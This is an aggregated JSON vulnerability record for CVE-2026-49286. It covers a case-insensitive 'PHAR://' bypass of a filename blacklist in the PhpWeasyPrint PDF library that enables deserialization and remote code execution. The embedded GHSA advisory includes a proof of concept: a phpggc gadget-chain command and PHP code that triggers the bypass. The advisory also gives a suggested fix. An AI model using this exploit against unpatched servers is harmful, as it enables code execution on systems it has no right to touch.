{"id":"CVE-2026-49286","aliases":["EUVD-2026-38053","GHSA-2fmj-p74r-3wjm"],"status":"published","title":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","description":"PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00735,"percentile":0.54684,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2026-06-19T17:03:58Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"Packagist","package":"pontedilana/php-weasyprint","fixed_in":["2.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pontedilana/php-weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.5.1"},{"fixed":"2.6.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pontedilana/php-weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.0","0.9.0","1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.3.0","1.4.0","1.5.0","2.0.0","2.1.0","2.2.0","2.3.0","2.4.0","2.5.0","2.5.1"]}],"products":[{"vendor":"pontedilana","product":"php-weasyprint"}],"references":[{"url":"https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-2fmj-p74r-3wjm","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj","tags":["x_refsource_MISC","advisory","web"]},{"url":"https://github.com/pontedilana/php-weasyprint/commit/d1aa487722b5a3cab9b222b85fdb5608a5a550c3","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pontedilana/php-weasyprint/releases/tag/2.6.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49286","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2fmj-p74r-3wjm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49286.json","tags":["advisory"]},{"url":"https://github.com/pontedilana/php-weasyprint","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-49286","title":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","description":"PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.","status":"published","published":"2026-06-19T17:03:58.118Z","modified":"2026-06-22T14:23:32.894Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-38053","description":"PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.","status":"published","published":"2026-06-19T17:03:58Z","modified":"2026-06-22T14:23:32Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:34.745289Z"}],"ghsa":[{"id":"GHSA-2fmj-p74r-3wjm","title":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","description":"### Summary\n\n`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\nPHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.\n\nThe same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, \"Implement countermeasures for CVE-2023-28115\").\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nA caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP \u003c 8.\n\n### Vulnerable code\n\n`src/AbstractGenerator.php`, `prepareOutput()`:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\n`strpos($filename, 'phar://')` matches only the exact lowercase string, while the wrapper resolution is case-insensitive — `PHAR://payload.phar` is not caught.\n\n### Proof of concept\n\n```bash\n# Craft a PHAR with a fast-destruct gadget chain\nphpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar\n```\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf('/usr/local/bin/weasyprint');\n// Case-altered wrapper bypasses the lowercase 'phar://' blacklist\n$pdf-\u003egenerateFromHtml('\u003ch1\u003ePOC\u003c/h1\u003e', 'PHAR://exploit.phar');\n// On PHP \u003c 8, the PHAR metadata is deserialized -\u003e /tmp/exploit is created\n```\n\n### Impact\n\n- Remote code execution and filesystem access through PHAR metadata deserialization on PHP \u003c 8, when the output filename is attacker-influenced and a PHAR can be planted.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.\n\nCWE-502 (Deserialization of Untrusted Data).\n\n### Suggested fix\n\nReplace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename:\n\n```php\nprotected const ALLOWED_PROTOCOLS = ['file'];\n\nprotected function isProtocolAllowed(string $filename): bool\n{\n    if (false === $parsed = \\parse_url($filename)) {\n        throw new \\InvalidArgumentException('The filename is not valid.');\n    }\n    $protocol = isset($parsed['scheme']) ? \\strtolower($parsed['scheme']) : 'file';\n    // ...special-case Windows drive letters (C:\\...) as 'file'...\n    return \\in_array($protocol, self::ALLOWED_PROTOCOLS, true);\n}\n```\n\n`prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached.\n\n### Credit\n\nOriginal vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.","status":"published","published":"2026-06-26T22:10:00Z","modified":"2026-06-26T22:10:03Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:40:34.713036Z"}],"nvd":[{"id":"CVE-2026-49286","description":"PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.","status":"published","published":"2026-06-19T18:16:19.487Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:24.912854Z"}],"osv":[{"id":"CVE-2026-49286","title":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","description":"PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj). PhpWeasyPrint version 2.6.0 contains a patch for the issue.","status":"published","published":"2026-06-19T17:03:58.118Z","modified":"2026-10-28T02:31:14.671620973Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"GHSA-2fmj-p74r-3wjm","title":"PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)","description":"### Summary\n\n`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\nPHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.\n\nThe same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, \"Implement countermeasures for CVE-2023-28115\").\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nA caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP \u003c 8.\n\n### Vulnerable code\n\n`src/AbstractGenerator.php`, `prepareOutput()`:\n\n```php\nif (0 === \\strpos($filename, 'phar://')) {\n    throw new \\InvalidArgumentException('The output file cannot be a phar archive.');\n}\n```\n\n`strpos($filename, 'phar://')` matches only the exact lowercase string, while the wrapper resolution is case-insensitive — `PHAR://payload.phar` is not caught.\n\n### Proof of concept\n\n```bash\n# Craft a PHAR with a fast-destruct gadget chain\nphpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar\n```\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf('/usr/local/bin/weasyprint');\n// Case-altered wrapper bypasses the lowercase 'phar://' blacklist\n$pdf-\u003egenerateFromHtml('\u003ch1\u003ePOC\u003c/h1\u003e', 'PHAR://exploit.phar');\n// On PHP \u003c 8, the PHAR metadata is deserialized -\u003e /tmp/exploit is created\n```\n\n### Impact\n\n- Remote code execution and filesystem access through PHAR metadata deserialization on PHP \u003c 8, when the output filename is attacker-influenced and a PHAR can be planted.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.\n\nCWE-502 (Deserialization of Untrusted Data).\n\n### Suggested fix\n\nReplace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename:\n\n```php\nprotected const ALLOWED_PROTOCOLS = ['file'];\n\nprotected function isProtocolAllowed(string $filename): bool\n{\n    if (false === $parsed = \\parse_url($filename)) {\n        throw new \\InvalidArgumentException('The filename is not valid.');\n    }\n    $protocol = isset($parsed['scheme']) ? \\strtolower($parsed['scheme']) : 'file';\n    // ...special-case Windows drive letters (C:\\...) as 'file'...\n    return \\in_array($protocol, self::ALLOWED_PROTOCOLS, true);\n}\n```\n\n`prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached.\n\n### Credit\n\nOriginal vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.","status":"published","published":"2026-06-26T22:10:00Z","modified":"2026-09-10T03:51:07.450570996Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}
